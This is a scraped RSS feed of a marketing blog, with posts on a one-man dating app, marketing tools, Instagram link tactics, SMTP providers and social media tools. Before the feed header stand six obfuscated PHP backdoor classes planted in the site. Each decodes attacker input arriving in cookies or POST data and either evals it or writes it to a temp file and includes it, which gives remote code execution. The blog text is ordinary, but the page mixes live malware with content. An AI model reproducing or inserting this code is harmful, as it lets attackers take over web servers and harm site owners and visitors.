Technology – CODE Marketing: Blog

$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Technology – CODE Marketing: Blog https://blog.codemarketing.com Thu, 19 Dec 2019 13:16:06 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 Man Creates Dating App Where He Is The Only Guy https://blog.codemarketing.com/man-creates-dating-app-where-he-is-the-only-guy-allowed/ Thu, 12 Dec 2019 07:17:05 +0000 http://blog.codemarketing.com/?p=1373 In today’s day and age, there’s an app for everything, even finding love. With apps, such a tinder, finding your match is as easy as swiping right. But the downside for that dating apps can be a dark, depressing and boring place to find love. content or chat endlessly with someone, but sometimes it’s really …

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]]> In today’s day and age, there’s an app for everything, even finding love. With apps, such a tinder, finding your match is as easy as swiping right. But the downside for that dating apps can be a dark, depressing and boring place to find love. content or chat endlessly with someone, but sometimes it’s really hard to find a connection – especially when you’re competing with thousands of people.

Well, one guy has decided that he has had enough of this and set out to create his own dating app. Meet Aaron Smith, the creator of Singularity

Singularity is pretty similar to other dating apps with one key difference, Aaron is the only guy allowed on it. Yes you read it right – Aaron is the only guy on it

Singularity will allow as many women as possible to sign up. Aaron was so tired of competing with other men for female attention that he decided to throw the phrase ‘if you can’t beat them, join them’ out the window and stand out by eliminating the competition entirely.

In an interview with WFMY CBS, he said “The biggest problem with the other apps is that my face is not featured prominently. If life gives you lemons, you should first make lemonade. Then make sure no other companies can produce or distribute their own soft drinks. So the only game in town is lemonade.”

Software engineer and Aaron’s best mate, Scott McDowell, thinks that this could change the game of online dating.

“All of us who have done online dating in some sorta way can all relate to the fact that it really does sometimes suck,” he said.

“Hopefully it will give people a chuckle about just the absurdity of what we’re reduced to as a society,” he told CBS.

We’ll wait and see whether this takes off.

The post Man Creates Dating App Where He Is The Only Guy appeared first on CODE Marketing: Blog.

]]> 5 Mobile and Desktop Tools for Marketers https://blog.codemarketing.com/5-mobile-and-desktop-tools-for-marketers/ Mon, 23 Sep 2019 12:00:40 +0000 http://blog.codemarketing.com/?p=1352 Looking for better ways to create videos, audio, and images? Want a list of tools to help? Lumen5 When you need to repurpose online articles as videos, try Lumen5, a free browser-based app you use on a desktop computer. Simply copy an article’s URL into Lumen5, and it converts the article into a slideshow. After the …

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]]> Looking for better ways to create videos, audio, and images? Want a list of tools to help?

Lumen5

When you need to repurpose online articles as videos, try Lumen5, a free browser-based app you use on a desktop computer. Simply copy an article’s URL into Lumen5, and it converts the article into a slideshow. After the conversion, you can edit the images, text, and video transitions on each slide. In about 30 minutes, you’ll have a customized slideshow that you can export as a video.
Easil

Easil is a browser-based tool with professional-looking templates for Instagram and Facebook Stories. This tool is especially helpful if you’re not a graphic designer. After you select a template, you can edit the font, colour scheme, image, and more. Easil also has a nice font selection and a stock art service called Easil Stock, which is frequently updated with fresh images.
Video Resizer for IGTV & frame

When you need help sizing videos for Instagram TV (also called IGTV), check out the Video Resizer for IGTV & frame iOS app. This free app can change landscape or square videos to a 9:16 ratio for IGTV. To illustrate, the app can resize a square video you shot for Instagram so you can repurpose the video for an IGTV story. If you accidentally shot a video in the wrong size, the app can fix it. To resize videos into new formats, the app fills blank space in the resized video with a blurred gradient made of colours from the video. These gradients enable the app to resize the video without cropping it.
SparkScore

SparkScore helps you analyze Twitter engagement and measure your influence by looking at followers, retweets, likes, and lists. If you check your free SparkScore report on the same day every week, you’ll have a snapshot of whether your Twitter engagement is up or down.
IG:dm

Scrolling through Instagram on a phone can be addictive and distracting, especially when you’re a marketer trying to manage social media. Although using Instagram on a desktop is easier, you can’t answer and send direct messages… unless you have IG:dm, a free download that adds this feature to macOS, Windows, and Linux computers.

The post 5 Mobile and Desktop Tools for Marketers appeared first on CODE Marketing: Blog.

]]> Ways to Share Links on Instagram https://blog.codemarketing.com/ways-to-share-links-on-instagram/ Mon, 16 Sep 2019 12:00:44 +0000 http://blog.codemarketing.com/?p=1360 Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram? In this article, you’ll find different ways to share links on your Instagram profile and posts. #1: Add a Link to Your Instagram Bio Let’s start with the first and simplest way to place a …

The post Ways to Share Links on Instagram appeared first on CODE Marketing: Blog.

]]> Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram?

In this article, you’ll find different ways to share links on your Instagram profile and posts.

#1: Add a Link to Your Instagram Bio

Let’s start with the first and simplest way to place a link on Instagram. The Instagram bio is the only place where anyone, including private personal accounts, can share a clickable link.

Think of this as your “home” link. While there are other ways to share clickable links (which we’ll discuss in a moment), those routes are targeted for more specific audiences. The link in your bio is there for anyone who happens to visit your profile.

Opinions differ on the best strategy for this link. Some brands link to their mobile website and leave it at that. Others update their bio link regularly, and direct users to the content from their posts.

But there’s a snag with changing the link frequently. How do you manage your old posts? What if someone finds an intriguing post from six months ago, goes to your bio to learn more, and finds a different link?

Instead, I recommend sharing more transient links in your stories. If you want to keep that content available, you can save the stories as permanent highlights with clickable links.

How to add or share a link to Instagram, example 2.

Alternatively, especially if you don’t have access to story links, you can use a link service. In the next section, we’ll look at how to use a single, consistent bio link to share a variety of content through link services.

#2: Use a Link Service to Showoff Multiple Links

When Instagram first became popular with marketers, link services were widely used—then their popularity dipped. Now they’re back with more design capabilities and a smoother user experience.

You can choose from a few different formats. The classic link service looks something like Linktree, where you present followers with a list of clickable buttons. The Workspace For Children uses Linktree to direct users to their latest blog posts, activities, and Amazon shop.

How to add or share a link to Instagram, example 3.

Choose a style and colorway that matches the aesthetic in your Instagram posts and stories. If users click through and find something that looks very different, they’ll lose trust in your brand.

The Good Quote uses a consistent color palette for their Instagram posts and Linktree page.

Alternatively, you can choose a service that looks more like a native Instagram experience. Instead of tapping on text buttons, users are presented with an Insta-style photo grid, as in the example below. When they tap the photo from the post that originally caught their attention, the link service directs them to the relevant page on your website.

How to add or share a link to Instagram, example 5.

Some services, like Later’s Linkin.bio, include video links, photo carousels, and even Shopify integrations.

How to add or share a link to Instagram, example 6.

Just be aware that photo grids like this can be data killers. Check that your chosen link service works on a wide range of mobile devices and that all of the links are functional. In theory, the experience should be seamless.

#3: Share Short Links or Directions to Landing Pages in Your Instagram Post Captions

You can’t include clickable links in the captions of normal Instagram photo posts, but that doesn’t mean that post captions are useless! You can still use them to get users’ attention, share extracts from your content, and extend your reach with carefully selected hashtags.

If you want to make the most of your post captions for links on Instagram, I recommend these two strategies.

Share a Short Link

Use a link-shortening service like Bitly so the link is easy for users to copy or remember—bonus points if you customize the link for your brand and content. This approach requires a bit more effort from your followers, so save it for your top content or links where you only want to convert a small, targeted group of people.

Write Crystal-Clear Directions to Live Links

Whether you’re using a link in your bio or in stories, make it obvious. One tactic we use in posts is to share directions to a live link and include a shortened link that people can copy if they choose. In the post below, we directed users to check out our story. Alternatively, they could copy the short link in the post caption to their browser.

How to add or share a link to Instagram, example 7.

#4: Add Swipe-Up Links to Your Instagram Stories

Some brands can include live links in their Instagram stories. Because stories are so ephemeral, they’re a great way to share links to new or time-sensitive content. Think flash sales, limited-time promotions and giveaways, seasonal events, or weekly Q&A sessions with your followers.

Alternatively, you can save stories with swipe-up links in the highlights section on your profile. These stories will stay pinned between your bio and photo grid. Use highlights as a library for evergreen content: essential FAQs, top-selling products, and past events to show new followers what they’ve missed.

Chocolatier Auro keeps highlights on their profile for news stories, community posts, recipe ideas, promotions, events, store locations, and featured products.

Whether you keep an Instagram story forever or let it fade after 24 hours, remember that each story plays for only 15 seconds. Viewers don’t get much time to react, so make the call to action (CTA) crystal clear. Try these ideas:

Emphasize the See More link with the highlighter and pen tools.
Use stickers and GIFs to point to the link, announce a new post, or encourage users to swipe up.
Take a photo or video of someone from your team pointing to the link. In this story from Bicho Vintage, the brand uses an arrow sticker to highlight a shopping link.

There is a caveat here. Story links are tightly controlled by Instagram. You won’t be able to access this feature unless you have over 10,000 followers (which takes time) or a verified account (which is an arcane and almost random process).

Why does Instagram restrict story links like this? Well, presumably because it wants you to prioritize follower counts. But does that really work for your business goals?

For some brands, especially direct-to-consumer brands, a large number of followers is key to success. But in other cases, you might be better off focusing on sales before followers.

Here’s an example of a young brand, Attollo Lingerie, that uses their Instagram story to promote real-world sales and connections. They don’t have access to swipe-up links… but they don’t need them. Instead, they use shared posts, graphics, and clever screenshots to direct users towards links elsewhere.

How to add or share a link to Instagram, example 11.

This is proof that internal links can be useful, too. Post stories that link back to your own posts, profile, and IGTV. You can also link to relevant posts, stories, and profiles from other people. Remember, if you team up on a promotion with an influencer or another brand, you’ve potentially doubled the number of active links at your disposal.

#5: Create Links in Instagram Shoppable Posts and Stories

Shoppable posts are another example of highly specific links. Each shopping tag links to one product only (and it has to be a physical product, sold in one of a select group of countries). Shopping tags are the most targeted conversion possible.

To use shopping tags, start by creating a product catalog on Facebook. Once you have a full range of products uploaded—with shopping links, images, and descriptions—you can start adding shopping tags to your Instagram posts.

How to add or share a link to Instagram, example 12.

You’ll also see a Shopping tab appear on your profile. The Shopping tab appears next to the standard tabs of your profile grid, individual photos, and tagged photos. Clicking this tab shows off your full product catalog.

Items on the Shopping tab appear in a standard photo grid, but users can tap to shop. They can save items just like they save standard posts, or tap to shop immediately.

Instagram Insights allows you to check the engagement on individual shopping posts or compare shopping posts based on metrics like engagement, impressions, or saves. But Instagram shopping doesn’t add attribution to individual product links. So once again, you may want to experiment with adding UTM tags to the links in your product catalog.

Some brands now have access to in-app shopping, where users can pay for their purchases without ever leaving Instagram. And because the beta version is being rolled out to more brands, it seems like initial tests have been successful.

I’m predicting that Instagram will eventually get rid of shopping tags in favor of in-app check out. Why? Because staying in-app gives them more control over data and a potential cut of the profits. Be prepared for further shifts in how customers interact with your products on Instagram.

#6: Pay to Promote Links in Instagram Posts and Stories

With an Instagram business profile, you can pay to promote posts and stories. Not only does this help you segment your audience, but you can also add clickable links to the captions of promoted posts. That’s right: Instagram lets you share links in post captions as long as you pay for them.

Sustainable toothbrush brand The Bam & Boo uses promoted posts to share links to blog posts and products.

How to add or share a link to Instagram, example 15.

The same rules for any ad apply here, too. Make sure your links are absolutely relevant to the post and story in which they appear, because if people click and then bounce, you’ve wasted your ad spend.

Think about the conversion you’re looking for. Are you promoting a shoppable post, educating users about your brand, or drawing them in with interesting content? Different conversions require different designs. Try to find a balance between attractive post design and a glaringly obvious CTA.

#7: Add Links In Instagram Direct Messages

Instagram DMs are an underused feature by many brands. You should be monitoring your inbox daily for message requests, customer service questions, and stories that mention your brand. Respond, reshare, and build customer relationships.

You can start a conversation by reacting to a user’s story or reaching out to offer help. For instance, we make a point of reaching out to first-time users of our platform.

How to add or share a link to Instagram, example 16.

You can also use direct messaging as a more active tool. Because messages on Instagram are private, they’re a more personal form of communication. If you reach out to followers in their DMs, they’ll appreciate you treating them as individuals.

So what kind of messages can you deliver? Let’s take one example: a message to welcome new followers. Of course, you won’t have time to type out a new message every time someone joins your community, so start by setting up quick replies.

To set up quick replies, go to Settings and then Business. Write a message and choose a keyword so you can find the reply you need quickly.

How to add or share a link to Instagram, example 17.

You can share active links in your quick replies and standard messages. So in addition to sharing specific links in response to customer queries, you can also start an automatic lead-nurturing campaign for every new follower.

Try turning new followers into qualified leads by asking for details in their DMs. Offer an incentive, like an introductory discount, so more people will respond.

How to add or share a link to Instagram, example 18.

#8: Share Links in Your IGTV Descriptions

Instagram—and the Facebook family in general—is still obsessed with video content. So as an incentive, the platform offers more link capabilities on IGTV than for video posts on your feed.

You can include clickable links in the description of each IGTV post. To see the description, users have to tap on the arrow icon next to the post title. Because users have to actively expand the description to see any links, make sure you tell them about the link during your IGTV video.

How to add or share a link to Instagram, example 19.

Unlike story links, IGTV links are available to any account, whether or not they’ve reached 10,000 followers. But you need to think about the trade-offs here.

Will your IGTV links be worth the cost of planning and producing original video content? If IGTV posts will cost more than the revenue you derive from those links, you’re better off using other link strategies.

Bonus: Use Action Buttons on Your Instagram Profile

Not all Instagram business profiles have story links, but they do all have access to profile action buttons. You can create instant buttons on your profile for the following actions (and free up character space in your bio in the process):

Call
Text
Email
Directions
Start Order
Book
Reserve

The Ivy in northwest London uses Reserve, Call, and Email Address buttons to convert restaurant customers.

Instagram also offers integrations for a long list of partners, such as Yelp, GrubHub, or EventBrite. You might not think of these buttons as links, but they are. Each one is just tied to a very specific conversion action.

A specific action means a specific audience. Once again, think about your business goals and how your audience behaves. If you aren’t interested in phone calls from customers, or you don’t think they’ll ever contact you by phone, you can remove that button from your profile. Yes, you want a network of links on Instagram but only links that are actually useful.

Note that these buttons are visible only in the mobile app, not on desktop. But then, no one except social media managers uses Instagram on desktop.

The post Ways to Share Links on Instagram appeared first on CODE Marketing: Blog.

]]> 5 Best SMTP Service Providers for 2019 https://blog.codemarketing.com/5-best-smtp-service-providers-for-2019/ Sun, 04 Aug 2019 05:00:53 +0000 http://blog.codemarketing.com/?p=1315 An SMTP service provider helps you reliably send emails from your website to your users. SMTP servers are specially configured to ensure that your emails reach users’ inbox and don’t end up in the junk mail folder. In this article, we will share the best SMTP service providers with high email deliverability. Why You Need …

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]]> An SMTP service provider helps you reliably send emails from your website to your users.

SMTP servers are specially configured to ensure that your emails reach users’ inbox and don’t end up in the junk mail folder.

In this article, we will share the best SMTP service providers with high email deliverability.

Why You Need an SMTP Service Provider for Emails?

All websites rely heavily on email to do various tasks. For example:

Recovering lost password
Registering a new account
Notifications for comments, new articles, password changes, and more
If it’s an online store, then sending a customers order confirmation, invoices, and delivery information via email.

What is SMTP?

SMTP or Simple Mail Transfer Protocol is the industry standard to send emails on the internet. It uses proper authentication which increases the chances that your emails will actually get delivered in the users inbox.

There are both paid and free SMTP service providers. In fact, you can get a free SMTP account with a business email address from Google or Outlook.

Best SMTP Service Providers

There are many SMTP service providers that allow you to send mass emails, WordPress emails, transactional emails, and more.

However, each one of them is different in terms of features, pricing, ease of use, number of emails allowed on free plan, and most importantly their track record on deliverability.

Following are the best SMTP service providers that offer higher deliverability and best set of features.

Mailjet

Mailjet is the best SMTP service provider on the market. They offer a beginner-friendly email marketing and transactional SMTP email service.

You can easily integrate Mailjet with your website and use it to send WordPress emails using SMTP. They offer a highly robust API with SMTP relay service to ensure that your emails don’t end up in spam.

Other notable features include drag and drop editor with email templates, built-in email marketing features, transactional SMS, marketing automation, and more. They also offer A/B testing and advanced statics to monitor your open rate, delivery rates, clicks, and more.

Pricing: Mailjet offers a free plan with up to 6000 emails every month (200 emails per day). Their paid plans start from $8.69 per month (billed annually) with 30,000 emails per month (no daily limit).
Mailgun

Mailgun is a popular SMTP service provider for developers and businesses. They offer powerful APIs to send transactional emails.

It is easy to integrate into your website. Whether you are an eCommerce store, a membership website, or a small business, Mailgun offers an easy to scale SMTP service to send your marketing and transactional emails.

It is designed for developers and lacks some of the beginner-friendly features of other SMTP providers on the list.

Pricing: Mailgun offers a ‘pay as you go’ plan with first 10,000 emails free. The free plan is more than enough for small websites. Their paid plans are fairly competitive in the market. However, if you want a dedicated IP and improved deliverability, then it starts at $79 per month with 1 dedicated IP address.
SendGrid

SendGrid is a powerful cloud-based SMTP email service provider that allows you to send mass emails without managing an SMTP server. It offers higher scalability with a powerful set of features.

Their SMTP relay is easy to set up and works with any website. It includes delivery optimization tools, email analytics, email templates with a simple email editor, and integrations with third-party apps and services.

If deliverability is your main concern, then SendGrid offers great tools to further improve email delivery including dedicated IP addresses and domain name authentication tools.

Pricing: They offer a free plan with first 40,000 emails free and then 100 emails per day. Their paid plans start at $14.95 per month.
Amazon SES

AWS or Amazon Web Services is the industry leader in cloud computing infrastructure. They also offer Amazon SES or Amazon Simple Email Service as an add-on to their web services.

It is a powerful cloud-based SMTP service for marketers and developers to easily send marketing, notification, and transactional email campaigns.

It offers higher deliverability with the cost efficiency of AWS. You get a lot of powerful features, but most of them are suitable for advanced users and developers.

Amazon SES can be easily integrated into your website and depending on your usage, Amazon SES can be the cheapest SMTP service in the market.

Pricing: If your website is hosted on AWS, then you can use their free tier to send 62,000 emails each month. For other websites, pricing starts at $0.10 for every 1,000 emails you send.
G Suite

G Suite is Google’s productivity suite for businesses. It allows you to use calendar, Google Drive, Docs, Photos, and Gmail with your own domain name.

This allows you to get a professional business email address while still using the familiar interface of Google. G Suite allows you to use Google SMTP servers to send out emails which means you can set up an email account for your WordPress site and then use it to send WordPress emails.

However, it is only suitable for small business websites and blogs because it can only send 2,000 messages a day.

Pricing: Starts from $6 per user per month.

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]]> Top Social Media Management Tool For 2019 https://blog.codemarketing.com/top-social-media-management-tool-for-2019/ Sun, 21 Jul 2019 05:00:19 +0000 http://blog.codemarketing.com/?p=1261 The number of social media management tools can leave the beginner and even the more advanced user overwhelmed. So we made a list of the top social media management tools for 2019. There are three major features that a good social media management tool should always have. These are publishing and RSS integration, social engagement, …

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]]> The number of social media management tools can leave the beginner and even the more advanced user overwhelmed.

So we made a list of the top social media management tools for 2019. There are three major features that a good social media management tool should always have. These are publishing and RSS integration, social engagement, and great analytics reporting.

Buffer

Buffer is a well established social media management platform that allows you to schedule, analysis and has various team contribution features. Buffer integrates with Facebook, Twitter, Instagram, Pinterest and LinkedIn.

Publishing – Buffer has basic publishing features, such as scheduling and adding posts to a queue. However, it will not let you upload hundreds of posts and then recycle them. It does have the RSS feed that helps you publish posts from blogs.

Social Engagement – Buffer offers a product called Reply. However, it only supports Facebook, Twitter, and Instagram comments. It costs $50-$225/month, 1 user for each connected profile. This is in addition to the basic Buffer pricing.

Influencer Search – Buffer does not have an influencer search feature.

Client Management Support – Buffer has a limited team feature. It allows a user to add team members and give them permissions to manage various social media pages.

Supported Networks: Facebook, Twitter, Instagram, LinkedIn, Pinterest
Sprout Social

Sprout Social is similar to HootSuite and other social media tools in that it combines a variety of tools.

Publishing – It has all the basics and a few more customized features. These include individual statistics on each post and agency features such as post-approval. It does not have the Auto Post with queues feature.

Social Engagement – Sprout Social has a social inbox, which is great. It also has social monitoring and keyword searching features that help you monitor your brand on social media.

Influencer Search – Sprout Social doesn’t have an influencer search feature.

Clients Management Support – Sprout has the basic team features but not much else in this category.

Supported Networks: Facebook, Twitter, Instagram, LinkedIn
HootSuite

HootSuite has probably been around the longest (since 2008). It has all the various applications you need and some robust content features, as well. For example, it has content curation, organization, scheduling, and RSS integration.

Publishing – Hootsuite has bulk scheduling, which allows you to upload several posts at a time. However, it doesn’t have the Auto Post feature that recycles the content for you. It has a feature that allows you to create social sweepstakes or contests on social media. It also has RSS integrations.

Social Engagement – Hootsuite doesn’t have a Social Inbox or anything like it. You have to manually engage with each follower by logging in to each social media account separately.

Influencer Search – Hootsuite doesn’t offer the ability to find influencers.

Client Management Support – Hootsuite has the basic team features, plus post-approval and custom branded URLs.

Supported Networks: Facebook, Twitter, Instagram, LinkedIn, YouTube, WordPress
Agora Pulse

Agora Pulse has a variety of features such as social engagement, publishing, listening, reports, and team collaboration

Publishing – Agora Pulse has the Auto Post feature, where you can queue evergreen posts (indefinitely). You can put labels on your content that allow you to retrieve and analyze each post (or an entire category).

Social Engagement – Agora Pulse has the Social Inbox feature, where you can interact with every follower and message in one place. It does have social monitoring and keyword searches.

Influencer Search – Agora Pulse does not have any influencer features.

Clients Management Support – Agora Pulse has the basic team sharing features, plus content approval from clients.

Supported Networks: Facebook, Twitter, Instagram, LinkedIn, YouTube

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]]> Social Media Metrics That Should Really Matter https://blog.codemarketing.com/social-media-metrics-that-should-really-matter/ Thu, 18 Jul 2019 05:00:21 +0000 http://blog.codemarketing.com/?p=1274 Your social media pages seem to have a lot of likes/followers but sooner or later you realise that despite having so many followers, you cannot convert them into sales or leads. Surely something must be wrong somewhere. That is because you celebrated something knows as a vanity metrics which does not add any real value …

